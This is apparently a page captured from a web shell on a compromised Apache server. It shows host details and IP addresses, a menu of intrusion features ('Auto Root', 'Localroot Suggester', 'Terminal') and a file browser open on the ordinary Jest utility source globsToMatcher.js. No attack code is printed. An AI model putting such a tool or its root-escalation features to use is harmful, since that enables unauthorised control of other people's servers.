Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.216.250
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
nodejs /
jest-util /
build /
Delete
Unzip
Name
Size
Permission
Date
Action
ErrorWithStack.d.ts
356
B
-rw-r--r--
2023-12-13 10:07
ErrorWithStack.js
804
B
-rw-r--r--
2023-12-13 10:07
clearLine.d.ts
291
B
-rw-r--r--
2023-12-13 10:07
clearLine.js
394
B
-rw-r--r--
2023-12-13 10:07
convertDescriptorToString.d.ts
377
B
-rw-r--r--
2023-12-13 10:07
convertDescriptorToString.js
742
B
-rw-r--r--
2023-12-13 10:07
createDirectory.d.ts
252
B
-rw-r--r--
2023-12-13 10:07
createDirectory.js
1.69
KB
-rw-r--r--
2023-12-13 10:07
createProcessObject.d.ts
285
B
-rw-r--r--
2023-12-13 10:07
createProcessObject.js
3.28
KB
-rw-r--r--
2023-12-13 10:07
deepCyclicCopy.d.ts
415
B
-rw-r--r--
2023-12-13 10:07
deepCyclicCopy.js
1.9
KB
-rw-r--r--
2023-12-13 10:07
formatTime.d.ts
295
B
-rw-r--r--
2023-12-13 10:07
formatTime.js
604
B
-rw-r--r--
2023-12-13 10:07
globsToMatcher.d.ts
975
B
-rw-r--r--
2023-12-13 10:07
globsToMatcher.js
3.33
KB
-rw-r--r--
2023-12-13 10:07
index.d.ts
1.4
KB
-rw-r--r--
2023-12-13 10:07
index.js
5.14
KB
-rw-r--r--
2023-12-13 10:07
installCommonGlobals.d.ts
424
B
-rw-r--r--
2023-12-13 10:07
installCommonGlobals.js
3.21
KB
-rw-r--r--
2023-12-13 10:07
interopRequireDefault.d.ts
253
B
-rw-r--r--
2023-12-13 10:07
interopRequireDefault.js
633
B
-rw-r--r--
2023-12-13 10:07
isInteractive.d.ts
249
B
-rw-r--r--
2023-12-13 10:07
isInteractive.js
534
B
-rw-r--r--
2023-12-13 10:07
isPromise.d.ts
288
B
-rw-r--r--
2023-12-13 10:07
isPromise.js
472
B
-rw-r--r--
2023-12-13 10:07
pluralize.d.ts
280
B
-rw-r--r--
2023-12-13 10:07
pluralize.js
407
B
-rw-r--r--
2023-12-13 10:07
preRunMessage.d.ts
353
B
-rw-r--r--
2023-12-13 10:07
preRunMessage.js
940
B
-rw-r--r--
2023-12-13 10:07
replacePathSepForGlob.d.ts
260
B
-rw-r--r--
2023-12-13 10:07
replacePathSepForGlob.js
403
B
-rw-r--r--
2023-12-13 10:07
requireOrImportModule.d.ts
309
B
-rw-r--r--
2023-12-13 10:07
requireOrImportModule.js
2
KB
-rw-r--r--
2023-12-13 10:07
setGlobal.d.ts
393
B
-rw-r--r--
2023-12-13 10:07
setGlobal.js
414
B
-rw-r--r--
2023-12-13 10:07
specialChars.d.ts
381
B
-rw-r--r--
2023-12-13 10:07
specialChars.js
683
B
-rw-r--r--
2023-12-13 10:07
testPathPatternToRegExp.d.ts
386
B
-rw-r--r--
2023-12-13 10:07
testPathPatternToRegExp.js
631
B
-rw-r--r--
2023-12-13 10:07
tryRealpath.d.ts
250
B
-rw-r--r--
2023-12-13 10:07
tryRealpath.js
652
B
-rw-r--r--
2023-12-13 10:07
Save
Rename
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = globsToMatcher; function _picomatch() { const data = _interopRequireDefault(require("picomatch")); _picomatch = function () { return data; }; return data; } var _replacePathSepForGlob = _interopRequireDefault(require("./replacePathSepForGlob")); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } /** * Copyright (c) Meta Platforms, Inc. and affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ const globsToMatchersMap = new Map(); const picomatchOptions = { dot: true }; /** * Converts a list of globs into a function that matches a path against the * globs. * * Every time picomatch is called, it will parse the glob strings and turn * them into regexp instances. Instead of calling picomatch repeatedly with * the same globs, we can use this function which will build the picomatch * matchers ahead of time and then have an optimized path for determining * whether an individual path matches. * * This function is intended to match the behavior of `micromatch()`. * * @example * const isMatch = globsToMatcher(['*.js', '!*.test.js']); * isMatch('pizza.js'); // true * isMatch('pizza.test.js'); // false */ function globsToMatcher(globs) { if (globs.length === 0) { // Since there were no globs given, we can simply have a fast path here and // return with a very simple function. return () => false; } const matchers = globs.map(glob => { if (!globsToMatchersMap.has(glob)) { const isMatch = (0, _picomatch().default)(glob, picomatchOptions, true); const matcher = { isMatch, // Matchers that are negated have different behavior than matchers that // are not negated, so we need to store this information ahead of time. negated: isMatch.state.negated || !!isMatch.state.negatedExtglob }; globsToMatchersMap.set(glob, matcher); } return globsToMatchersMap.get(glob); }); return path => { const replacedPath = (0, _replacePathSepForGlob.default)(path); let kept = undefined; let negatives = 0; for (let i = 0; i < matchers.length; i++) { const { isMatch, negated } = matchers[i]; if (negated) { negatives++; } const matched = isMatch(replacedPath); if (!matched && negated) { // The path was not matched, and the matcher is a negated matcher, so we // want to omit the path. This means that the negative matcher is // filtering the path out. kept = false; } else if (matched && !negated) { // The path was matched, and the matcher is not a negated matcher, so we // want to keep the path. kept = true; } } // If all of the globs were negative globs, then we want to include the path // as long as it was not explicitly not kept. Otherwise only include // the path if it was kept. This allows sets of globs that are all negated // to allow some paths to be matched, while sets of globs that are mixed // negated and non-negated to cause the negated matchers to only omit paths // and not keep them. return negatives === matchers.length ? kept !== false : !!kept; }; }